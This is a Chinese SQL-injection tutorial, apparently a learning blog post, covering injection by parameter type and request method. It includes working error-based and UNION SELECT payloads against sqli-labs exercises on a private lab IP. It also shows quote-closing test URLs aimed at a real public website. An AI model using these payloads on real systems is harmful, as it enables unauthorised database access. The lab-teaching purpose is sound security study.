WEB漏洞--SQL注入之类型及提交注入

在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取, 后续安全测试中我们也必须满足同等的操作才能进行注入。

SQL注入.png

简要明确参数类型

数字

根据经验判断,如果注入的参数值为纯数字,可以尝试直接注入或在附带引号进行尝试

select * from user where id=1
select * from user where id='1'
select * from user where id="1"

字符

根据经验判断,如果注入的参数值不为纯数字,那么注入的参数值一定包含引号,如果不附带引号直接注入,产生不了任何作用,所以我们要做的前提是先要把它的符号闭合掉

http://www.letpub.com.cn/index.php?page=sci_writing_overview_1
#尝试注入 %23url解码后为#
http://www.letpub.com.cn/index.php?page=sci_writing_overview_1' and 1=1%23
http://www.letpub.com.cn/index.php?page=sci_writing_overview_1" and 1=1%23

搜索

将数据进行搜索并进行展示,搜索符号是%,在过滤的时候要过滤单引号和百分号,不然语句全部在单引号和百分号里,一般网站的搜索框进行模糊搜索会用到

select * from user where name like '%sqlmap%'

JSON

json大多用于api接口传递数据,如果不进行防范,也会产生sql注入漏洞,json的数据大多较为复杂,所以大部分参数都为字符形式注入

微信截图_20210520233506.png

简要明确请求方式

  1. 根据网站的情况来获取相应的请求方法,请求方法可以通过在访问网站的时候审查元素里数据包的前缀看查看,找到Request Headers(请求头)
  2. 不同的请求方式,它请求的数据类型或者大小都不同。一般大数据会采用POST提交。在注入时候需要按照网站的请求方法去注入。
  3. GET、POST、COOKIE、REQUEST、HTTP头等
  4. 以POST请求去测试网页,网页界面是一样的,那么表示这两个参数均以POST方式去提交
  5. $_SERVER是PHP里内置变量,全局变量,PHP写脚本时用它来获取系统的值,在数据包的某些参数是可以进行修改并尝试注入的

JSON注入相关知识

JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。

简介

JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是application/json

JSON语法

  • 数据在名称/值对中
  • 数据由逗号分隔
  • 大括号保存对象
  • 中括号保存数组

JSON值

  • 数字(整数或浮点数) {"age":30 }
  • 字符串(在双引号中) {"uname":"yang"}
  • 逻辑值(true 或 false) {"flag":true }
  • 数组(在中括号中){"sites":[{"name":"yang"},{"name":"ming"}]}
  • 对象(在大括号中)JSON 对象在大括号({})中书写:
  • null { "runoob":null }

JSON代码格式

{
  "users": {
    "user": [
      {
        "id": "1",
        "username": "admin",
        "passwd": "admin888"
      },
      {
        "id": "2",
        "username": "root",
        "passwd": "root123"
      },
      {
        "id": "3",
        "username": "system",
        "passwd": "system456"
      }
    ]
  }
}

演示案例

具体演示以获得数据库版本号为结果

sqlilabs 5

首先id=1后面补全单引号,数据库不显示结果,但是会产生报错,可以利用报错注入进行查询

http://192.168.50.10:83/Less-5/?id=1%27%20and%20extractvalue(1,concat(%27^%27,(select%20version()),%27^%27));%23

QQ截图20211130162713.png

sqlilabs 6

首先id=1后面补全双引号,数据库不显示结果,但是会产生报错,可以利用报错注入进行查询,与sqllibs 5类似

http://192.168.50.10:83/Less-6/?id=1%22%20and%20extractvalue(1,concat(%27^%27,(select%20version()),%27^%27));%23

sqlilabs 11

2个input框都有sql注入点,直接测试引号就能获得结果,然后拼上注入语句获得数据库版本号

  • password注入
POST /Less-11/ HTTP/1.1
Host: 192.168.50.10:83
Content-Length: 74
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.50.10:83
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.50.10:83/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

uname=admin&passwd=123456' or 11=1 union select version(),2#&submit=Submit

QQ截图20211130185605.png

  • username注入
POST /Less-11/ HTTP/1.1
Host: 192.168.50.10:83
Content-Length: 75
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.50.10:83
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.50.10:83/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

uname=admin' and 11=1 union select version(),2#&passwd=123456&submit=Submit

QQ截图20211130185754.png

sqlilabs 18

最后查看源码发现,需要正常登录,然后通过修改ua来进行注入,因为是insert语句,所以使用了报错注入

QQ截图20211130194602.png

sqlilabs 20

登录以后查看结果,发现在cookie中的用户名和下面的用户名密码可能需要读库才能显示,尝试注入cookie

QQ截图20211130195724.png

QQ截图20211130200030.png

JSON注入

JSON列表形式,在注入的时候要把注语注入相应的地方,原理就是参数值没有进行过滤而直接进行sql查询,其实很多入参的地方都可以尝试进行sql注入

微信截图_20210520233506.png

微信截图_20210520233355.png